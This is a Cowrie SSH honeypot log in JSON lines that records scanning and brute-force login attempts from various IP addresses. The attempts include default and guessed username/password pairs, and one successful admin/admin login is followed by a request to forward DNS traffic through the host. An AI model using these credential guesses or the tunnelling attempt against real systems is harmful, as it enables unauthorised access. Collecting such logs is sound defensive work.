{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:01.948108Z","src_ip":"82.197.58.130","session":"f92e8ee97b46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasd12","message":"login attempt [root/asdasd12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:02.586741Z","src_ip":"82.197.58.130","session":"f92e8ee97b46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:02.641331Z","src_ip":"62.133.62.83","session":"0978a7e61bbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:03.744406Z","src_ip":"82.197.58.130","session":"f92e8ee97b46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.152.180","src_port":42592,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb38d9b659a0","protocol":"ssh","message":"New connection: 31.41.152.180:42592 (159.203.135.109:22) [session: eb38d9b659a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:14.555829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:14.561147Z","src_ip":"31.41.152.180","session":"eb38d9b659a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:14.674246Z","src_ip":"31.41.152.180","session":"eb38d9b659a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user11","password":"user11","message":"login attempt [user11/user11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:15.158393Z","src_ip":"31.41.152.180","session":"eb38d9b659a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:16.273817Z","src_ip":"31.41.152.180","session":"eb38d9b659a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":19904,"dst_ip":"10.17.0.5","dst_port":22,"session":"4474dcdb5359","protocol":"ssh","message":"New connection: 2.57.121.25:19904 (10.17.0.5:22) [session: 4474dcdb5359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:41.272632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:41.277763Z","src_ip":"2.57.121.25","session":"4474dcdb5359","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:41.383458Z","src_ip":"2.57.121.25","session":"4474dcdb5359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12031981","message":"login attempt [user/12031981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:41.878125Z","src_ip":"2.57.121.25","session":"4474dcdb5359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12031976","message":"login attempt [user/12031976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:42.987665Z","src_ip":"2.57.121.25","session":"4474dcdb5359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12021977","message":"login attempt [user/12021977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:44.096938Z","src_ip":"2.57.121.25","session":"4474dcdb5359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12021974","message":"login attempt [user/12021974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:45.205801Z","src_ip":"2.57.121.25","session":"4474dcdb5359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120185","message":"login attempt [user/120185] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:46.314216Z","src_ip":"2.57.121.25","session":"4474dcdb5359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:47.423521Z","src_ip":"2.57.121.25","session":"4474dcdb5359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":60990,"dst_ip":"10.17.0.5","dst_port":22,"session":"53c53e11113b","protocol":"ssh","message":"New connection: 103.82.132.16:60990 (10.17.0.5:22) [session: 53c53e11113b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:53:29.669693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:53:29.675620Z","src_ip":"103.82.132.16","session":"53c53e11113b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:53:29.929393Z","src_ip":"103.82.132.16","session":"53c53e11113b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dasha2001","message":"login attempt [root/dasha2001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:53:30.686196Z","src_ip":"103.82.132.16","session":"53c53e11113b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.197.58.130","src_port":54846,"dst_ip":"159.203.135.109","dst_port":22,"session":"b47b8fdf571a","protocol":"ssh","message":"New connection: 82.197.58.130:54846 (159.203.135.109:22) [session: b47b8fdf571a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:53:31.502334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:53:31.507525Z","src_ip":"82.197.58.130","session":"b47b8fdf571a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:53:31.667190Z","src_ip":"82.197.58.130","session":"b47b8fdf571a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:53:31.941893Z","src_ip":"103.82.132.16","session":"53c53e11113b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ROOT1234","message":"login attempt [root/ROOT1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:53:32.315437Z","src_ip":"82.197.58.130","session":"b47b8fdf571a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:53:33.475224Z","src_ip":"82.197.58.130","session":"b47b8fdf571a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":47498,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c9be8404a31","protocol":"ssh","message":"New connection: 147.45.199.80:47498 (10.17.0.5:22) [session: 2c9be8404a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:53:44.541393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:53:44.546746Z","src_ip":"147.45.199.80","session":"2c9be8404a31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:53:44.645654Z","src_ip":"147.45.199.80","session":"2c9be8404a31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bugatti","message":"login attempt [root/bugatti] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:53:44.942230Z","src_ip":"147.45.199.80","session":"2c9be8404a31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:53:46.046048Z","src_ip":"147.45.199.80","session":"2c9be8404a31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":42300,"dst_ip":"10.17.0.5","dst_port":22,"session":"0678028d2d51","protocol":"ssh","message":"New connection: 87.251.64.176:42300 (10.17.0.5:22) [session: 0678028d2d51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:06.716668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:06.725628Z","src_ip":"87.251.64.176","session":"0678028d2d51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:06.824375Z","src_ip":"87.251.64.176","session":"0678028d2d51","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:07.110290Z","src_ip":"87.251.64.176","session":"0678028d2d51","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:07.208333Z","session":"0678028d2d51","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:07.305761Z","src_ip":"87.251.64.176","session":"0678028d2d51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:07.404530Z","src_ip":"87.251.64.176","session":"0678028d2d51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.86","src_port":59952,"dst_ip":"159.203.135.109","dst_port":22,"session":"13e028f0ce20","protocol":"ssh","message":"New connection: 191.101.59.86:59952 (159.203.135.109:22) [session: 13e028f0ce20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:11.875700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:11.986136Z","src_ip":"191.101.59.86","session":"13e028f0ce20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:12.083518Z","src_ip":"191.101.59.86","session":"13e028f0ce20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"superset","password":"superset","message":"login attempt [superset/superset] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:15.708886Z","src_ip":"191.101.59.86","session":"13e028f0ce20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:54:16.878587Z","src_ip":"191.101.59.86","session":"13e028f0ce20","protocol":"ssh"}
